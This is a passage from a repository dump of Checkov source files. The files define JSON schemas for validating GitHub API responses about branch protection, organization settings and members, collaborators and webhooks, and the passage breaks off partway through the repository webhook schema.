    "content": "from checkov.common.vcs.vcs_schema import VCSSchema\n\n\nclass BranchProtectionSchema(VCSSchema):\n    def __init__(self) -> None:\n        schema = {\n            \"$schema\": \"http://json-schema.org/draft-04/schema#\",\n            \"type\": \"object\",\n            \"properties\": {\n                \"url\": {\n                    \"type\": \"string\"\n                },\n                \"required_signatures\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"url\": {\n                            \"type\": \"string\"\n                        },\n                        \"enabled\": {\n                            \"type\": \"boolean\"\n                        }\n                    },\n                    \"required\": [\n                        \"url\",\n                        \"enabled\"\n                    ]\n                },\n                \"enforce_admins\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"url\": {\n                            \"type\": \"string\"\n                        },\n                        \"enabled\": {\n                            \"type\": \"boolean\"\n                        }\n                    },\n                    \"required\": [\n                        \"url\",\n                        \"enabled\"\n                    ]\n                },\n                \"required_linear_history\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"enabled\": {\n                            \"type\": \"boolean\"\n                        }\n                    },\n                    \"required\": [\n                        \"enabled\"\n                    ]\n                },\n                \"allow_force_pushes\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"enabled\": {\n                            \"type\": \"boolean\"\n                        }\n                    },\n                    \"required\": [\n                        \"enabled\"\n                    ]\n                },\n                \"allow_deletions\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"enabled\": {\n                            \"type\": \"boolean\"\n                        }\n                    },\n                    \"required\": [\n                        \"enabled\"\n                    ]\n                },\n                \"required_conversation_resolution\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"enabled\": {\n                            \"type\": \"boolean\"\n                        }\n                    },\n                    \"required\": [\n                        \"enabled\"\n                    ]\n                }\n            },\n            \"required\": [\n                \"url\",\n                \"enforce_admins\",\n                \"required_linear_history\",\n                \"allow_force_pushes\",\n                \"allow_deletions\",\n            ]\n        }\n        super().__init__(schema=schema)\n\n\nschema = BranchProtectionSchema()\n"
  },
  {
    "path": "checkov/github/schemas/no_branch_protection.py",
    "content": "from checkov.common.vcs.vcs_schema import VCSSchema\n\n\nclass NoBranchProtectionSchema(VCSSchema):\n    def __init__(self) -> None:\n        schema = {\n            \"$schema\": \"http://json-schema.org/draft-04/schema#\",\n            \"type\": \"object\",\n            \"properties\": {\n                \"message\": {\n                    \"type\": \"string\"\n                },\n                \"documentation_url\": {\n                    \"type\": \"string\"\n                }\n            },\n            \"required\": [\n                \"message\",\n                \"documentation_url\"\n            ]\n        }\n        super().__init__(schema=schema)\n\n\nschema = NoBranchProtectionSchema()\n"
  },
  {
    "path": "checkov/github/schemas/org_members.py",
    "content": "from checkov.common.vcs.vcs_schema import VCSSchema\n\n\nclass OrgMembersSchema(VCSSchema):\n    def __init__(self) -> None:\n        schema = {\n            \"type\": \"array\",\n            \"items\": {\n                \"title\": \"Simple User\",\n                \"description\": \"A GitHub user.\",\n                \"type\": \"object\",\n                \"properties\": {\n                    \"name\": {\n                        \"type\": [\n                            \"string\",\n                            \"null\"\n                        ]\n                    },\n                    \"email\": {\n                        \"type\": [\n                            \"string\",\n                            \"null\"\n                        ]\n                    },\n                    \"login\": {\n                        \"type\": \"string\",\n                        \"examples\": [\n                            \"octocat\"\n                        ]\n                    },\n                    \"id\": {\n                        \"type\": \"integer\",\n                        \"examples\": [\n                            1\n                        ]\n                    },\n                    \"node_id\": {\n                        \"type\": \"string\",\n                        \"examples\": [\n                            \"MDQ6VXNlcjE=\"\n                        ]\n                    },\n                    \"avatar_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://github.com/images/error/octocat_happy.gif\"\n                        ]\n                    },\n                    \"gravatar_id\": {\n                        \"type\": [\n                            \"string\",\n                            \"null\"\n                        ],\n                        \"examples\": [\n                            \"41d064eb2195891e12d0413f63227ea7\"\n                        ]\n                    },\n                    \"url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat\"\n                        ]\n                    },\n                    \"html_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://github.com/octocat\"\n                        ]\n                    },\n                    \"followers_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat/followers\"\n                        ]\n                    },\n                    \"following_url\": {\n                        \"type\": \"string\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat/following{/other_user}\"\n                        ]\n                    },\n                    \"gists_url\": {\n                        \"type\": \"string\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat/gists{/gist_id}\"\n                        ]\n                    },\n                    \"starred_url\": {\n                        \"type\": \"string\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat/starred{/owner}{/repo}\"\n                        ]\n                    },\n                    \"subscriptions_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat/subscriptions\"\n                        ]\n                    },\n                    \"organizations_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat/orgs\"\n                        ]\n                    },\n                    \"repos_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat/repos\"\n                        ]\n                    },\n                    \"events_url\": {\n                        \"type\": \"string\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat/events{/privacy}\"\n                        ]\n                    },\n                    \"received_events_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat/received_events\"\n                        ]\n                    },\n                    \"type\": {\n                        \"type\": \"string\",\n                        \"examples\": [\n                            \"User\"\n                        ]\n                    },\n                    \"site_admin\": {\n                        \"type\": \"boolean\"\n                    },\n                    \"starred_at\": {\n                        \"type\": \"string\",\n                        \"examples\": [\n                            \"\\\"2020-07-09T00:17:55Z\\\"\"\n                        ]\n                    }\n                },\n                \"required\": [\n                    \"avatar_url\",\n                    \"events_url\",\n                    \"followers_url\",\n                    \"following_url\",\n                    \"gists_url\",\n                    \"gravatar_id\",\n                    \"html_url\",\n                    \"id\",\n                    \"node_id\",\n                    \"login\",\n                    \"organizations_url\",\n                    \"received_events_url\",\n                    \"repos_url\",\n                    \"site_admin\",\n                    \"starred_url\",\n                    \"subscriptions_url\",\n                    \"type\",\n                    \"url\"\n                ]\n            }\n        }\n        super().__init__(schema=schema)\n\n\nschema = OrgMembersSchema()\n"
  },
  {
    "path": "checkov/github/schemas/org_security.py",
    "content": "from checkov.common.vcs.vcs_schema import VCSSchema\n\n\nclass OrgSecuritySchema(VCSSchema):\n    def __init__(self) -> None:\n        schema = {\n            \"type\": \"object\",\n            \"properties\": {\n                \"data\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"organization\": {\n                            \"type\": \"object\",\n                            \"properties\": {\n                                \"name\": {\n                                    \"type\": \"string\"\n                                },\n                                \"login\": {\n                                    \"type\": \"string\"\n                                },\n                                \"description\": {\n                                    \"oneOf\": [\n                                        {\"type\": \"string\"},\n                                        {\"type\": \"null\"}\n                                    ]\n                                },\n                                \"ipAllowListEnabledSetting\": {\n                                    \"type\": \"string\"\n                                },\n                                \"ipAllowListForInstalledAppsEnabledSetting\": {\n                                    \"type\": \"string\"\n                                },\n                                \"requiresTwoFactorAuthentication\": {\n                                    \"type\": \"boolean\"\n                                },\n                                \"samlIdentityProvider\": {\n                                    \"anyOf\": [\n                                        {\n                                            \"type\": \"object\",\n                                            \"properties\": {\n                                                \"ssoUrl\": {\n                                                    \"type\": \"string\"\n                                                }\n                                            }\n                                        },\n                                        {\n                                            \"type\": \"null\"\n                                        }\n                                    ]\n                                }\n                            },\n                            \"required\": [\n                                \"name\",\n                                \"login\",\n                                \"description\",\n                                \"ipAllowListEnabledSetting\",\n                                \"ipAllowListForInstalledAppsEnabledSetting\",\n                                \"requiresTwoFactorAuthentication\"]\n                        }\n                    },\n                    \"required\": [\n                        \"organization\"\n                    ]\n                }\n            },\n            \"required\": [\n                \"data\"\n            ]\n        }\n        super().__init__(schema=schema)\n\n\nschema = OrgSecuritySchema()\n"
  },
  {
    "path": "checkov/github/schemas/org_webhooks.py",
    "content": "from checkov.common.vcs.vcs_schema import VCSSchema\n\n\nclass OrgWebhooksSchema(VCSSchema):\n    def __init__(self) -> None:\n        schema = {\n            \"type\": \"array\",\n            \"items\": {\n                \"title\": \"Org Hook\",\n                \"description\": \"Org Hook\",\n                \"type\": \"object\",\n                \"properties\": {\n                    \"id\": {\n                        \"type\": \"integer\",\n                        \"examples\": [\n                            1\n                        ]\n                    },\n                    \"url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/orgs/octocat/hooks/1\"\n                        ]\n                    },\n                    \"ping_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/orgs/octocat/hooks/1/pings\"\n                        ]\n                    },\n                    \"deliveries_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/orgs/octocat/hooks/1/deliveries\"\n                        ]\n                    },\n                    \"name\": {\n                        \"type\": \"string\",\n                        \"examples\": [\n                            \"web\"\n                        ]\n                    },\n                    \"events\": {\n                        \"type\": \"array\",\n                        \"items\": {\n                            \"type\": \"string\"\n                        },\n                        \"examples\": [\n                            \"push\",\n                            \"pull_request\"\n                        ]\n                    },\n                    \"active\": {\n                        \"type\": \"boolean\",\n                        \"examples\": [\n                            True\n                        ]\n                    },\n                    \"config\": {\n                        \"type\": \"object\",\n                        \"properties\": {\n                            \"url\": {\n                                \"type\": \"string\",\n                                \"examples\": [\n                                    \"\\\"http://example.com/2\\\"\"\n                                ]\n                            },\n                            \"insecure_ssl\": {\n                                \"type\": \"string\",\n                                \"examples\": [\n                                    \"\\\"0\\\"\"\n                                ]\n                            },\n                            \"content_type\": {\n                                \"type\": \"string\",\n                                \"examples\": [\n                                    \"\\\"form\\\"\"\n                                ]\n                            },\n                            \"secret\": {\n                                \"type\": \"string\",\n                                \"examples\": [\n                                    \"\\\"********\\\"\"\n                                ]\n                            }\n                        }\n                    },\n                    \"updated_at\": {\n                        \"type\": \"string\",\n                        \"format\": \"date-time\",\n                        \"examples\": [\n                            \"2011-09-06T20:39:23Z\"\n                        ]\n                    },\n                    \"created_at\": {\n                        \"type\": \"string\",\n                        \"format\": \"date-time\",\n                        \"examples\": [\n                            \"2011-09-06T17:26:27Z\"\n                        ]\n                    },\n                    \"type\": {\n                        \"type\": \"string\",\n                        \"const\": \"Organization\"\n                    }\n                },\n                \"required\": [\n                    \"id\",\n                    \"url\",\n                    \"type\",\n                    \"name\",\n                    \"active\",\n                    \"events\",\n                    \"config\",\n                    \"ping_url\",\n                    \"created_at\",\n                    \"updated_at\"\n                ]\n            }\n        }\n        super().__init__(schema=schema)\n\n\nschema = OrgWebhooksSchema()\n"
  },
  {
    "path": "checkov/github/schemas/organization.py",
    "content": "from checkov.common.vcs.vcs_schema import VCSSchema\n\n\nclass OrganizationSchema(VCSSchema):\n    def __init__(self) -> None:\n        schema = {\n            \"title\": \"Organization Full\",\n            \"description\": \"Organization Full\",\n            \"type\": \"object\",\n            \"properties\": {\n                \"login\": {\n                    \"type\": \"string\",\n                    \"examples\": [\n                        \"github\"\n                    ]\n                },\n                \"id\": {\n                    \"type\": \"integer\",\n                    \"examples\": [\n                        1\n                    ]\n                },\n                \"node_id\": {\n                    \"type\": \"string\",\n                    \"examples\": [\n                        \"MDEyOk9yZ2FuaXphdGlvbjE\\u003d\"\n                    ]\n                },\n                \"url\": {\n                    \"type\": \"string\",\n                    \"format\": \"uri\",\n                    \"examples\": [\n                        \"https://api.github.com/orgs/github\"\n                    ]\n                },\n                \"repos_url\": {\n                    \"type\": \"string\",\n                    \"format\": \"uri\",\n                    \"examples\": [\n                        \"https://api.github.com/orgs/github/repos\"\n                    ]\n                },\n                \"events_url\": {\n                    \"type\": \"string\",\n                    \"format\": \"uri\",\n                    \"examples\": [\n                        \"https://api.github.com/orgs/github/events\"\n                    ]\n                },\n                \"hooks_url\": {\n                    \"type\": \"string\",\n                    \"examples\": [\n                        \"https://api.github.com/orgs/github/hooks\"\n                    ]\n                },\n                \"issues_url\": {\n                    \"type\": \"string\",\n                    \"examples\": [\n                        \"https://api.github.com/orgs/github/issues\"\n                    ]\n                },\n                \"members_url\": {\n                    \"type\": \"string\",\n                    \"examples\": [\n                        \"https://api.github.com/orgs/github/members{/member}\"\n                    ]\n                },\n                \"public_members_url\": {\n                    \"type\": \"string\",\n                    \"examples\": [\n                        \"https://api.github.com/orgs/github/public_members{/member}\"\n                    ]\n                },\n                \"avatar_url\": {\n                    \"type\": \"string\",\n                    \"examples\": [\n                        \"https://github.com/images/error/octocat_happy.gif\"\n                    ]\n                },\n                \"description\": {\n                    \"type\": [\n                        \"string\",\n                        \"null\"\n                    ],\n                    \"examples\": [\n                        \"A great organization\"\n                    ]\n                },\n                \"name\": {\n                    \"type\": \"string\",\n                    \"examples\": [\n                        \"github\"\n                    ]\n                },\n                \"company\": {\n                    \"type\": \"string\",\n                    \"examples\": [\n                        \"GitHub\"\n                    ]\n                },\n                \"blog\": {\n                    \"type\": \"string\",\n                    \"format\": \"uri\",\n                    \"examples\": [\n                        \"https://github.com/blog\"\n                    ]\n                },\n                \"location\": {\n                    \"type\": \"string\",\n                    \"examples\": [\n                        \"San Francisco\"\n                    ]\n                },\n                \"email\": {\n                    \"type\": \"string\",\n                    \"format\": \"email\",\n                    \"examples\": [\n                        \"octocat@github.com\"\n                    ]\n                },\n                \"twitter_username\": {\n                    \"type\": [\n                        \"string\",\n                        \"null\"\n                    ],\n                    \"examples\": [\n                        \"github\"\n                    ]\n                },\n                \"is_verified\": {\n                    \"type\": \"boolean\",\n                    \"examples\": [\n                        True\n                    ]\n                },\n                \"has_organization_projects\": {\n                    \"type\": \"boolean\",\n                    \"examples\": [\n                        True\n                    ]\n                },\n                \"has_repository_projects\": {\n                    \"type\": \"boolean\",\n                    \"examples\": [\n                        True\n                    ]\n                },\n                \"public_repos\": {\n                    \"type\": \"integer\",\n                    \"examples\": [\n                        2\n                    ]\n                },\n                \"public_gists\": {\n                    \"type\": \"integer\",\n                    \"examples\": [\n                        1\n                    ]\n                },\n                \"followers\": {\n                    \"type\": \"integer\",\n                    \"examples\": [\n                        20\n                    ]\n                },\n                \"following\": {\n                    \"type\": \"integer\",\n                    \"examples\": [\n                        0\n                    ]\n                },\n                \"html_url\": {\n                    \"type\": \"string\",\n                    \"format\": \"uri\",\n                    \"examples\": [\n                        \"https://github.com/octocat\"\n                    ]\n                },\n                \"created_at\": {\n                    \"type\": \"string\",\n                    \"format\": \"date-time\",\n                    \"examples\": [\n                        \"2008-01-14T04:33:35Z\"\n                    ]\n                },\n                \"type\": {\n                    \"type\": \"string\",\n                    \"examples\": [\n                        \"Organization\"\n                    ]\n                },\n                \"total_private_repos\": {\n                    \"type\": \"integer\",\n                    \"examples\": [\n                        100\n                    ]\n                },\n                \"owned_private_repos\": {\n                    \"type\": \"integer\",\n                    \"examples\": [\n                        100\n                    ]\n                },\n                \"private_gists\": {\n                    \"type\": [\n                        \"integer\",\n                        \"null\"\n                    ],\n                    \"examples\": [\n                        81\n                    ]\n                },\n                \"disk_usage\": {\n                    \"type\": [\n                        \"integer\",\n                        \"null\"\n                    ],\n                    \"examples\": [\n                        10000\n                    ]\n                },\n                \"collaborators\": {\n                    \"type\": [\n                        \"integer\",\n                        \"null\"\n                    ],\n                    \"examples\": [\n                        8\n                    ]\n                },\n                \"billing_email\": {\n                    \"type\": [\n                        \"string\",\n                        \"null\"\n                    ],\n                    \"format\": \"email\",\n                    \"examples\": [\n                        \"org@example.com\"\n                    ]\n                },\n                \"plan\": {\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"name\": {\n                            \"type\": \"string\"\n                        },\n                        \"space\": {\n                            \"type\": \"integer\"\n                        },\n                        \"private_repos\": {\n                            \"type\": \"integer\"\n                        },\n                        \"filled_seats\": {\n                            \"type\": \"integer\"\n                        },\n                        \"seats\": {\n                            \"type\": \"integer\"\n                        }\n                    },\n                    \"required\": [\n                        \"name\",\n                        \"space\",\n                        \"private_repos\"\n                    ]\n                },\n                \"default_repository_permission\": {\n                    \"type\": [\n                        \"string\",\n                        \"null\"\n                    ]\n                },\n                \"members_can_create_repositories\": {\n                    \"type\": [\n                        \"boolean\",\n                        \"null\"\n                    ],\n                    \"examples\": [\n                        True\n                    ]\n                },\n                \"two_factor_requirement_enabled\": {\n                    \"type\": [\n                        \"boolean\",\n                        \"null\"\n                    ],\n                    \"examples\": [\n                        True\n                    ]\n                },\n                \"members_allowed_repository_creation_type\": {\n                    \"type\": \"string\",\n                    \"examples\": [\n                        \"all\"\n                    ]\n                },\n                \"members_can_create_public_repositories\": {\n                    \"type\": \"boolean\",\n                    \"examples\": [\n                        True\n                    ]\n                },\n                \"members_can_create_private_repositories\": {\n                    \"type\": \"boolean\",\n                    \"examples\": [\n                        True\n                    ]\n                },\n                \"members_can_create_internal_repositories\": {\n                    \"type\": \"boolean\",\n                    \"examples\": [\n                        True\n                    ]\n                },\n                \"members_can_create_pages\": {\n                    \"type\": \"boolean\",\n                    \"examples\": [\n                        True\n                    ]\n                },\n                \"members_can_create_public_pages\": {\n                    \"type\": \"boolean\",\n                    \"examples\": [\n                        True\n                    ]\n                },\n                \"members_can_create_private_pages\": {\n                    \"type\": \"boolean\",\n                    \"examples\": [\n                        True\n                    ]\n                },\n                \"members_can_fork_private_repositories\": {\n                    \"type\": [\n                        \"boolean\",\n                        \"null\"\n                    ],\n                    \"examples\": [\n                        False\n                    ]\n                },\n                \"web_commit_signoff_required\": {\n                    \"type\": \"boolean\",\n                    \"examples\": [\n                        False\n                    ]\n                },\n                \"updated_at\": {\n                    \"type\": \"string\",\n                    \"format\": \"date-time\"\n                },\n                \"advanced_security_enabled_for_new_repositories\": {\n                    \"type\": \"boolean\",\n                    \"description\": \"Whether GitHub Advanced Security is enabled for new repositories and repositories transferred to this organization.\\n\\nThis field is only visible to organization owners or members of a team with the security manager role.\",\n                    \"examples\": [\n                        False\n                    ]\n                },\n                \"dependabot_alerts_enabled_for_new_repositories\": {\n                    \"type\": \"boolean\",\n                    \"description\": \"Whether GitHub Advanced Security is automatically enabled for new repositories and repositories transferred to\\nthis organization.\\n\\nThis field is only visible to organization owners or members of a team with the security manager role.\",\n                    \"examples\": [\n                        False\n                    ]\n                },\n                \"dependabot_security_updates_enabled_for_new_repositories\": {\n                    \"type\": \"boolean\",\n                    \"description\": \"Whether dependabot security updates are automatically enabled for new repositories and repositories transferred\\nto this organization.\\n\\nThis field is only visible to organization owners or members of a team with the security manager role.\",\n                    \"examples\": [\n                        False\n                    ]\n                },\n                \"dependency_graph_enabled_for_new_repositories\": {\n                    \"type\": \"boolean\",\n                    \"description\": \"Whether dependency graph is automatically enabled for new repositories and repositories transferred to this\\norganization.\\n\\nThis field is only visible to organization owners or members of a team with the security manager role.\",\n                    \"examples\": [\n                        False\n                    ]\n                },\n                \"secret_scanning_enabled_for_new_repositories\": {\n                    \"type\": \"boolean\",\n                    \"description\": \"Whether secret scanning is automatically enabled for new repositories and repositories transferred to this\\norganization.\\n\\nThis field is only visible to organization owners or members of a team with the security manager role.\",\n                    \"examples\": [\n                        False\n                    ]\n                },\n                \"secret_scanning_push_protection_enabled_for_new_repositories\": {\n                    \"type\": \"boolean\",\n                    \"description\": \"Whether secret scanning push protection is automatically enabled for new repositories and repositories\\ntransferred to this organization.\\n\\nThis field is only visible to organization owners or members of a team with the security manager role.\",\n                    \"examples\": [\n                        False\n                    ]\n                },\n                \"secret_scanning_push_protection_custom_link_enabled\": {\n                    \"type\": \"boolean\",\n                    \"description\": \"Whether a custom link is shown to contributors who are blocked from pushing a secret by push protection.\",\n                    \"examples\": [\n                        False\n                    ]\n                },\n                \"secret_scanning_push_protection_custom_link\": {\n                    \"type\": [\n                        \"string\",\n                        \"null\"\n                    ],\n                    \"description\": \"An optional URL string to display to contributors who are blocked from pushing a secret.\",\n                    \"examples\": [\n                        \"https://github.com/test-org/test-repo/blob/main/README.md\"\n                    ]\n                }\n            },\n            \"required\": [\n                \"login\",\n                \"url\",\n                \"id\",\n                \"node_id\",\n                \"repos_url\",\n                \"events_url\",\n                \"hooks_url\",\n                \"issues_url\",\n                \"members_url\",\n                \"public_members_url\",\n                \"avatar_url\",\n                \"description\",\n                \"html_url\",\n                \"has_organization_projects\",\n                \"has_repository_projects\",\n                \"public_repos\",\n                \"public_gists\",\n                \"followers\",\n                \"following\",\n                \"type\",\n                \"created_at\",\n                \"updated_at\"\n            ]\n        }\n        super().__init__(schema=schema)\n\n\nschema = OrganizationSchema()\n"
  },
  {
    "path": "checkov/github/schemas/repository_collaborators.py",
    "content": "from checkov.common.vcs.vcs_schema import VCSSchema\n\n\nclass RepositoryCollaboratorsSchema(VCSSchema):\n    def __init__(self) -> None:\n        schema = {\n            \"type\": \"array\",\n            \"items\": {\n                \"title\": \"Collaborator\",\n                \"description\": \"Collaborator\",\n                \"type\": \"object\",\n                \"properties\": {\n                    \"login\": {\n                        \"type\": \"string\",\n                        \"examples\": [\n                            \"octocat\"\n                        ]\n                    },\n                    \"id\": {\n                        \"type\": \"integer\",\n                        \"examples\": [\n                            1\n                        ]\n                    },\n                    \"email\": {\n                        \"type\": [\n                            \"string\",\n                            \"null\"\n                        ]\n                    },\n                    \"name\": {\n                        \"type\": [\n                            \"string\",\n                            \"null\"\n                        ]\n                    },\n                    \"node_id\": {\n                        \"type\": \"string\",\n                        \"examples\": [\n                            \"MDQ6VXNlcjE=\"\n                        ]\n                    },\n                    \"avatar_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://github.com/images/error/octocat_happy.gif\"\n                        ]\n                    },\n                    \"gravatar_id\": {\n                        \"type\": [\n                            \"string\",\n                            \"null\"\n                        ],\n                        \"examples\": [\n                            \"41d064eb2195891e12d0413f63227ea7\"\n                        ]\n                    },\n                    \"url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat\"\n                        ]\n                    },\n                    \"html_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://github.com/octocat\"\n                        ]\n                    },\n                    \"followers_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat/followers\"\n                        ]\n                    },\n                    \"following_url\": {\n                        \"type\": \"string\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat/following{/other_user}\"\n                        ]\n                    },\n                    \"gists_url\": {\n                        \"type\": \"string\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat/gists{/gist_id}\"\n                        ]\n                    },\n                    \"starred_url\": {\n                        \"type\": \"string\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat/starred{/owner}{/repo}\"\n                        ]\n                    },\n                    \"subscriptions_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat/subscriptions\"\n                        ]\n                    },\n                    \"organizations_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat/orgs\"\n                        ]\n                    },\n                    \"repos_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat/repos\"\n                        ]\n                    },\n                    \"events_url\": {\n                        \"type\": \"string\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat/events{/privacy}\"\n                        ]\n                    },\n                    \"received_events_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/users/octocat/received_events\"\n                        ]\n                    },\n                    \"type\": {\n                        \"type\": \"string\",\n                        \"examples\": [\n                            \"User\"\n                        ]\n                    },\n                    \"site_admin\": {\n                        \"type\": \"boolean\"\n                    },\n                    \"permissions\": {\n                        \"type\": \"object\",\n                        \"properties\": {\n                            \"pull\": {\n                                \"type\": \"boolean\"\n                            },\n                            \"triage\": {\n                                \"type\": \"boolean\"\n                            },\n                            \"push\": {\n                                \"type\": \"boolean\"\n                            },\n                            \"maintain\": {\n                                \"type\": \"boolean\"\n                            },\n                            \"admin\": {\n                                \"type\": \"boolean\"\n                            }\n                        },\n                        \"required\": [\n                            \"pull\",\n                            \"push\",\n                            \"admin\"\n                        ]\n                    },\n                    \"role_name\": {\n                        \"type\": \"string\",\n                        \"examples\": [\n                            \"admin\"\n                        ]\n                    }\n                },\n                \"required\": [\n                    \"avatar_url\",\n                    \"events_url\",\n                    \"followers_url\",\n                    \"following_url\",\n                    \"gists_url\",\n                    \"gravatar_id\",\n                    \"html_url\",\n                    \"id\",\n                    \"node_id\",\n                    \"login\",\n                    \"organizations_url\",\n                    \"received_events_url\",\n                    \"repos_url\",\n                    \"site_admin\",\n                    \"starred_url\",\n                    \"subscriptions_url\",\n                    \"type\",\n                    \"url\",\n                    \"role_name\"\n                ]\n            }\n        }\n        super().__init__(schema=schema)\n\n\nschema = RepositoryCollaboratorsSchema()\n"
  },
  {
    "path": "checkov/github/schemas/repository_webhooks.py",
    "content": "from checkov.common.vcs.vcs_schema import VCSSchema\n\n\nclass RepositoryWebhookSchema(VCSSchema):\n    def __init__(self) -> None:\n        schema = {\n            \"type\": \"array\",\n            \"items\": {\n                \"title\": \"Webhook\",\n                \"description\": \"Webhooks for repositories.\",\n                \"type\": \"object\",\n                \"properties\": {\n                    \"type\": {\n                        \"type\": \"string\",\n                        \"const\": \"Repository\"\n                    },\n                    \"id\": {\n                        \"description\": \"Unique identifier of the webhook.\",\n                        \"type\": \"integer\",\n                        \"examples\": [\n                            42\n                        ]\n                    },\n                    \"name\": {\n                        \"description\": \"The name of a valid service, use 'web' for a webhook.\",\n                        \"type\": \"string\",\n                        \"examples\": [\n                            \"web\"\n                        ]\n                    },\n                    \"active\": {\n                        \"description\": \"Determines whether the hook is actually triggered on pushes.\",\n                        \"type\": \"boolean\",\n                        \"examples\": [\n                            True\n                        ]\n                    },\n                    \"events\": {\n                        \"description\": \"Determines what events the hook is triggered for. Default: ['push'].\",\n                        \"type\": \"array\",\n                        \"items\": {\n                            \"type\": \"string\"\n                        },\n                        \"examples\": [\n                            \"push\",\n                            \"pull_request\"\n                        ]\n                    },\n                    \"config\": {\n                        \"type\": \"object\",\n                        \"properties\": {\n                            \"email\": {\n                                \"type\": \"string\",\n                                \"examples\": [\n                                    \"\\\"foo@bar.com\\\"\"\n                                ]\n                            },\n                            \"password\": {\n                                \"type\": \"string\",\n                                \"examples\": [\n                                    \"\\\"foo\\\"\"\n                                ]\n                            },\n                            \"room\": {\n                                \"type\": \"string\",\n                                \"examples\": [\n                                    \"\\\"roomer\\\"\"\n                                ]\n                            },\n                            \"subdomain\": {\n                                \"type\": \"string\",\n                                \"examples\": [\n                                    \"\\\"foo\\\"\"\n                                ]\n                            },\n                            \"url\": {\n                                \"type\": \"string\",\n                                \"description\": \"The URL to which the payloads will be delivered.\",\n                                \"format\": \"uri\",\n                                \"examples\": [\n                                    \"https://example.com/webhook\"\n                                ]\n                            },\n                            \"insecure_ssl\": {\n                                \"oneOf\": [\n                                    {\n                                        \"type\": \"string\",\n                                        \"description\": \"Determines whether the SSL certificate of the host for `url` will be verified when delivering payloads. Supported values include `0` (verification is performed) and `1` (verification is not performed). The default is `0`. **We strongly recommend not setting this to `1` as you are subject to man-in-the-middle and other attacks.**\",\n                                        \"examples\": [\n                                            \"\\\"0\\\"\"\n                                        ]\n                                    },\n                                    {\n                                        \"type\": \"number\"\n                                    }\n                                ]\n                            },\n                            \"content_type\": {\n                                \"type\": \"string\",\n                                \"description\": \"The media type used to serialize the payloads. Supported values include `json` and `form`. The default is `form`.\",\n                                \"examples\": [\n                                    \"\\\"json\\\"\"\n                                ]\n                            },\n                            \"digest\": {\n                                \"type\": \"string\",\n                                \"examples\": [\n                                    \"\\\"sha256\\\"\"\n                                ]\n                            },\n                            \"secret\": {\n                                \"type\": \"string\",\n                                \"description\": \"If provided, the `secret` will be used as the `key` to generate the HMAC hex digest value for [delivery signature headers](https://docs.github.com/webhooks/event-payloads/#delivery-headers).\",\n                                \"examples\": [\n                                    \"\\\"********\\\"\"\n                                ]\n                            },\n                            \"token\": {\n                                \"type\": \"string\",\n                                \"examples\": [\n                                    \"\\\"abc\\\"\"\n                                ]\n                            }\n                        }\n                    },\n                    \"updated_at\": {\n                        \"type\": \"string\",\n                        \"format\": \"date-time\",\n                        \"examples\": [\n                            \"2011-09-06T20:39:23Z\"\n                        ]\n                    },\n                    \"created_at\": {\n                        \"type\": \"string\",\n                        \"format\": \"date-time\",\n                        \"examples\": [\n                            \"2011-09-06T17:26:27Z\"\n                        ]\n                    },\n                    \"url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/repos/octocat/Hello-World/hooks/1\"\n                        ]\n                    },\n                    \"test_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/repos/octocat/Hello-World/hooks/1/test\"\n                        ]\n                    },\n                    \"ping_url\": {\n                        \"type\": \"string\",\n                        \"format\": \"uri\",\n                        \"examples\": [\n                            \"https://api.github.com/repos/octocat/Hello-World/hooks/1/pings\"\n                        ]\n                    },\n                    